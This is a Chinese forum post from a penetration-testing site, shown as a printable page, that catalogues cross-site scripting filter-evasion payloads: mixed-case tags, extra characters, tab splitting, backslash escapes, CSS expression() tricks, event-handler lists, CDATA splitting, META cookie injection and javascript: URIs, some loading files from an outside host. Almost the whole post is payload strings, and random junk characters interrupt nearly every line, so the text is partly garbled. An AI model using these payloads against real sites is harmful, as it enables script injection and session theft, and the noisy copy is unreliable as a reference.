中国网络渗透测试联盟

标题: Cross Site Scripting(XSS)攻击手法介绍 [打印本页]

作者: admin    时间: 2012-12-31 09:59
标题: Cross Site Scripting(XSS)攻击手法介绍
1. 改变字符大小写
) l1 d; F6 ?' b* R* s& ]1 o: S) x) N. `9 {( ^! |, i5 t6 p, K

1 t* _4 {% \7 B+ |- q& w
$ Y8 _: P  ~( U+ M# \9 u( t    <sCript>alert(‘d’)</scRipT>
2 @# h. v/ \5 X3 m; @# \+ F6 D0 B
5 I3 k. r: `, _3 [- \2 h; G2. 利用多加一些其它字符来规避Regular Expression的检查/ h( R6 R. S2 h: [: g

. u; O5 m9 \2 l% {0 }    <<script>alert(‘c’)//<</script>
' }# H  K" k; W
- `1 I) p. V, W* p7 A# n' a2 H- Y    <SCRIPT a=">" SRC="t.js"></SCRIPT>
- ]7 y! D7 O/ g# C: ~: x& H" u: T  W; C9 v
    <SCRIPT =">" SRC="t.js"></SCRIPT>
  U1 Y) U7 m: N- H6 X
: u# r$ a/ W% ?( D    <SCRIPT a=">" ” SRC="t.js"></SCRIPT>4 n5 T  T" K, Y7 m8 v

4 H1 I9 o- u. b1 S, C! d    <SCRIPT "a=’>’" SRC="t.js"></SCRIPT>
  F. D- N4 z* x2 A$ J) a* S4 u( M( p4 H; S9 B
    <SCRIPT a=`>` SRC="t.js"></SCRIPT>
5 \5 @' ?/ u5 Z  q, F7 E2 n$ ^* h' o0 [1 I, T
    <SCRIPT a=">’>" SRC="t.js"></SCRIPT>
0 _, x) s4 R9 A. ^. C( n
9 ?0 f8 c& g; p7 }; W- S; X9 q# K3. 以其它扩展名取代.js
( R% r2 {2 ^3 T3 K! d0 T, }$ n3 @' h- L7 i- k% m
    <script src="bad.jpg"></script>
3 _$ O; g* P5 a% K% r; y2 P
2 `" W9 p2 V9 H! I/ U5 \3 L1 ^: v- ]4. 将Javascript写在CSS档里
; r: c7 p4 U. }2 g6 N& ^9 q* I
6 a0 |( ^/ D1 Y* N. K' d! U8 [    <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">3 B  J% H! M9 Q. ^+ x

$ m- u' V* U% h+ o' z4 o       example:5 T: |4 M! a, q5 h

6 N3 ]* N# G0 i          body {+ V4 z% J" o; _8 l" h

4 F( }# v* B* ?7 z               background-image: url(‘javascript:alert("XSS");’)$ _  g! f" Z5 u5 Z3 V7 ^
4 t$ S- d* I* X$ W
          }7 y+ ?) `6 f( q

+ b/ r$ y  c# }, Q! h0 T5. 在script的tag里加入一些其它字符
% f' e, }& ^) F. S
' K& ?3 [- g/ ~0 v    <SCRIPT/SRC="t.js"></SCRIPT>" L1 P% o! U6 k5 X/ G) a- ^

; U3 s* m7 \- z5 o( j7 ~    <SCRIPT/anyword SRC="t.js"></SCRIPT>6 t7 m2 p& e3 l1 A) ?& P
7 s2 ^0 N+ f, u& f+ }% d, V
6. 使用tab或是new line来规避: i2 V: \6 o) `2 ]6 X* n

, O8 M% V/ u" G6 U0 L6 ^    <img src="jav ascr ipt:alert(‘XSS3′)">  s# z- j5 O" b# N+ c) M+ \

. b8 o9 o# k' M9 }1 T    <img src="jav ascr ipt:alert(‘XSS3′)">
# t+ @+ d% k/ q& t" V
% ]. [& S) D( S' G( w    <IMG SRC="jav ascript:alert(‘XSS’);">
; Z' Q: b9 j- @4 w: `- ^; L* d5 z+ N6 R6 {
         -> tag
% I, `, }3 @: }; |% P) y1 g
- |3 E0 b- I5 Q4 s; d' I9 S         -> new line5 T/ V0 ]$ ~+ Z' U% ~6 d% @

4 r" p' T6 c% @* s0 ^6 Q- m  _2 S5 l7. 使用"\"来规避; ^. B+ h3 w3 M0 r

7 y# K, _' }9 s1 C( E1 s6 [& ^1 B    <STYLE>@im\port’\ja\vasc\ript:alert("XSS32")’;</STYLE>
' ?% O3 k1 p; c$ a- n% b# j* C0 N  h5 z; U6 G" O$ c
    <IMG STYLE=’xss:expre\ssion(alert("XSS33"))’>5 m& |+ B! C, W) |3 S( P8 s; t

" C$ v. Y& |6 y    <IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))">& N2 @# I. S4 C6 R$ A& ]- r

4 m, B+ i! m3 M: U8 O0 v    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
6 T* o& k2 W3 ]+ P
% y+ b" {- l1 Z  V, w    <A STYLE=’no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))’>
9 J4 g9 A3 B1 \" n. v6 Y. M( W0 \- k, w/ L: j' o* E2 i6 w/ q6 L" s
8. 使用Hex encode来规避(也可能会把";"拿掉): K1 v3 Z( q" Q4 |

' o2 |) ?5 Q7 B2 d7 F( y+ }    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));"># ]: @! m1 b* d2 o/ z: m
$ d4 G" h3 I6 r) ]
        原始码:<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">" Z. M! I* f) V; @/ F7 J

# a1 \. {7 G; b3 b1 X" U4 v    <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">
& X$ \+ U) M; ?3 {8 k) ]6 T
2 g( A4 ?; d2 d" D& \( \" G6 i        原始码:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">
8 W! G  }/ N; H3 L$ p, M
, b) ]9 `: q$ Z( W9 x9. script in HTML tag% n# n3 |* F9 d& j& M

. a" K. w9 }( ]3 ]6 o: F$ t    <body onload=」alert(‘onload’)」>& b7 f' z4 C. ]$ z  t2 y2 U
2 v0 q3 D9 X- C! s
        onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload
: L1 s: j1 c( T% M0 z2 c- o; Z' R' V: C* d
10. 在swf里含有xss的code
5 S8 g1 I  d# s5 a1 v! g( {; w6 i7 }
    <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
" Y. ?7 |& [9 t) ~  Z3 E
$ V6 Y0 F- T% K& H/ P8 V8 k$ V11. 利用CDATA将xss的code拆开,再组合起来。6 \, w/ m* m( D! k1 L) X
% q6 z. K8 X8 m: ^, s" @. N
    <XML ID=I><X><C>& K, H! M/ d2 \

1 p3 M" [) j7 @& e    <![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>
& S# X/ L" ?% X; j7 U6 G
( }9 I! ^( m( L/ t    </C></X>4 J! X7 H2 g, `# c

+ V7 P/ Z# R2 `% A+ d    </xml>
/ p& j1 j6 t' o0 r, B, S4 ?9 F$ e% G  p* e+ r: ^
    <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>' l" _2 o( A- ^0 F4 v8 _' w' q

7 W6 ]  u0 q2 Z; l4 O, ~# i    <XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:alert(‘XSS’)"></B></I></XML>% _% N( L7 h, p7 M) D
' }5 {0 T  N  f) Z3 f  }( V
    <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>. X4 j7 I2 L' f1 G; U( ^

" I+ {1 a' A' `$ |) F12. 利用HTML+TIME。
* ~& a* i6 R' N( z! w" m
7 h" z$ M5 }, q, Z. i+ {3 L8 ~+ p    <HTML><BODY>1 D3 u; g! D3 I/ i' u' ^
4 ~/ V' H3 y! X) i- q; {, u# [6 M
    <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">3 e4 u2 C6 W! B2 {2 z; a

& W* ~7 a# |+ b+ `7 G. y    <?import namespace="t" implementation="#default#time2">, J# E% X9 C' X
; O0 j# S) b* i4 g' Y2 d( p
    <t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>">8 r8 ~1 p: A. {3 s. u
' x" i4 n; {! s+ n8 n7 o( g" Y
    </BODY></HTML>
8 v, `* z( C- o  `! X( A: U1 `
: m. R' C! D1 @, N1 n; U13. 透过META写入Cookie。3 [$ ]: b! ]1 C8 K7 O3 q" c; E

0 t$ q5 s! j( X* e    <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(‘XSS’)</SCRIPT>">
1 e% ^+ ^4 o5 E
- t- `% z; n0 p' j+ L14. javascript in src , href , url
" p& a3 g  f' Z$ r/ H& g- e3 B* H" U3 f% l; K5 e+ f; o* J3 d# s6 T: q" o
    <IFRAME SRC=javascript:alert(’13′)></IFRAME>* `- H- i, k, p" f4 G8 g9 r$ o

8 M- {$ \) C& P2 c- f    <img src="javascript:alert(‘XSS3′)">6 i5 U% n0 E8 V. t9 m- n( V
! M% j" D, T3 w5 `1 z: ?
<IMG DYNSRC="javascript:alert(‘XSS20′)"># U5 h" O1 v  F0 [. \5 I

9 Z( W, m$ \5 o; N- c- ?4 Z8 R    <IMG LOWSRC="javascript:alert(‘XSS21′)">* r" t1 o0 x! u- `& b+ u! F! \5 R

8 M6 K7 F) F5 D0 {0 n8 Y2 N: z    <LINK REL="stylesheet" HREF="javascript:alert(‘XSS24′);">4 y7 P' r  B' s; O3 E( }' ]7 o
1 ?9 Y# E; A4 N! ~+ J; q0 l; z
    <IFRAME SRC=javascript:alert(‘XSS27′)></IFRAME>
/ Y2 y) `- F6 @9 R" k, y
) k0 T+ M8 D  s' Q# H: r    <TABLE BACKGROUND="javascript:alert(‘XSS29′)">3 }( I4 h5 l: m& g1 J! [; \
; n  b( O8 u, P! S
    <DIV STYLE="background-image: url(javascript:alert(‘XSS30′))">
( Y& p, o  h: O1 y$ Y6 E
+ g/ w6 Y/ v/ q& h# D; @" P    <STYLE TYPE="text/css">.XSS{background image:url("javascript:alert(‘XSS35′)");}1 m) e5 @) k' F

- j9 z  q/ h6 n: m6 V    </STYLE><A CLASS=XSS></A>* h+ _& ?8 c7 x
1 ~; Y2 q: ?+ m. o8 l3 A
    <FRAMESET><FRAME SRC="javascript:alert(‘XSS’);"></FRAMESET>5 V6 _, @- l2 }) A

6 o; L, N6 [6 ~0 v  K  N1 e# d" F




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2